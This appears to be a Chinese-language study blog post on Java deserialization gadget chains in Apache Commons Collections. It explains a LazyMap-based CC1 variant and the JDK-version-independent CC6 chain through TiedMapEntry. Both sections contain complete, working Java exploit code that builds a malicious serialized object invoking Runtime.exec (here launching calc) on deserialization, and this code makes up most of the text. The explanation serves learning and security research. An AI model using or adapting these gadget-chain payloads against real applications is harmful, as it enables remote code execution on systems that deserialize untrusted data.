一.前言
上一篇讲到CC1链是利用AnnotationInvocationHandler来触发setValue(),但是在Java 8u71以后AnnotationInvocationHandler的readObject()里面已经没有了setValue()方法,cc6链不受jdk版本约束,较于其他cc链,更为通用。
二.cc1的另一种写法
在学习cc6之前,先回顾一下CC1
AnnotationInvocationHandler.readObject()(setValue)->
TransformedMap.checkSetValue->
ChainedTransformer.transform->
InvokerTransformer.transform
然后学习一下利用LazyMap触发transform
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
在LazyMap的get方法中调用了 factory的transform的方法,如果把factory传承ChainedTransformer就回归了之前Transforedmap的用法,前提是map里面没有key
然后找谁调用了get方法
在AnnotationInvocationHandler的invoke方法中调用了get方法
java
public Object invoke(Object proxy, Method method, Object[] args) {
...
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
...
Object result = memberValues.get(member);
...
}
当对AnnotationInvocationHandler的任意方法使用动态代理的时候就会触发invoke方法,根据两个if,调用还得是无参方法,正好entrySet()是个无参方法
java
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.awt.windows.awtLocalization;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Cc1 {
public static void main(String[] args) throws Exception {
// Class c = Runtime.class;
// Method methodgetRuntime=c.getMethod("getRuntime",null);
// Runtime runtime=(Runtime)methodgetRuntime.invoke(null,null);//获取Runtime.getRuntime 类
//Method execmethod=c.getMethod("exec",String.class);//获取exec方法
//execmethod.invoke(runtime,"calc");
// Method methodgetRuntime =(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(methodgetRuntime);
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
//chainedTransformer.transform(Runtime.class);
Map<Object, Object> hashMap = new HashMap<>();
//用HashMap传入decorate
// hashMap.put("value", 1);
// Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去
Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chainedTransformer);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazymap);//注解随便传
Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
Object obj=annotationInvocationHandlerConstructor.newInstance(Target.class,proxy);
//Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
//annotationInvocationHandlerConstructor.setAccessible(true);
// Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
out.writeObject(obj);
//序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
in.readObject();
//反序列化
// Runtime cmd=Runtime.getRuntime();
//for(Map.Entry entry:transformedMap.entrySet())
//{
// entry.setValue(cmd);
//}
//通过遍历Map,调用setValue触发checkSetValue
}
}
三.cc6
cc6的后半段与Lazymap构造的cc1一样,但是触发get的方法发生了变化,TiedMapEntry类的hashCode方法调用了getValue方法,而getValue调用了get
java
public Object getValue() {
return map.get(key);
}
所以可以用TiedMapEntry来代替LazyMap,根据URLDNS链的经验可以这样构造
HashMap.readObject->hashCode->TiedMapEntry.hashCode->get ->ChainedTransformer.transform
java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//这里ConstantTransformer随便放,这样put的时候不会触发计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "a");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "b");
lazymap.remove("a");
//反序列化不能由key,所以romove掉
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
//反射获取LazyMap,类似反射获url类
factoryField.set(lazymap, chainedTransformer);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
out.writeObject(map2);
//序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
in.readObject();
//反序列化
}
}